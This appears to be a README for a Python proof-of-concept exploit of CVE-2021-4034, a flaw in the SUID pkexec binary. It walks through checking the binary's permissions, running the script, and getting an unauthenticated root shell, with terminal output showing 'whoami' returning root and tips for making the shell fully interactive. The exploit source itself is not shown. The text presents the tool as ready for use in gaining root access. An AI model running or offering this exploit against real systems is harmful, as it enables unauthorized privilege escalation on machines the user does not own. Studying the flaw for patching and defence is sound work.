
Python proof-of-concept exploit for CVE-2021-4034 that abuses the SUID pkexec binary to escalate privileges and spawn an interactive root shell without credentials.
CVE-2021-4034 (pkexec) The use of this python script exploits the vulnerability in the pkexec file to gain root access without providing credentials
· Detects if the binary has SUID privileges, in which case it is vulnerable
usuario@gatogamer $ ls -la /usr/bin/pkexec
.rwsr-xr-x 1 root root /usr/bin/pkexec
usuario@gatogamer $
· Runs the exploit to gain root access, in this case it is only necessary to run it with python3, once finished you will have a root shell
usuario@gatogamer $ python3 CVE-2021-4034.py
[+] Iniciando el exploit
[+] Exploit Completado
# whoami
root
#
· As a complement, you can change the value of TERM, it can be 'xterm' or 'xterm-256color' for better aesthetics, also run a different shell either 'bash' or 'zsh', now we have a fully interactive console
# export TERM=xterm-256color
# zsh
root@gatogamer $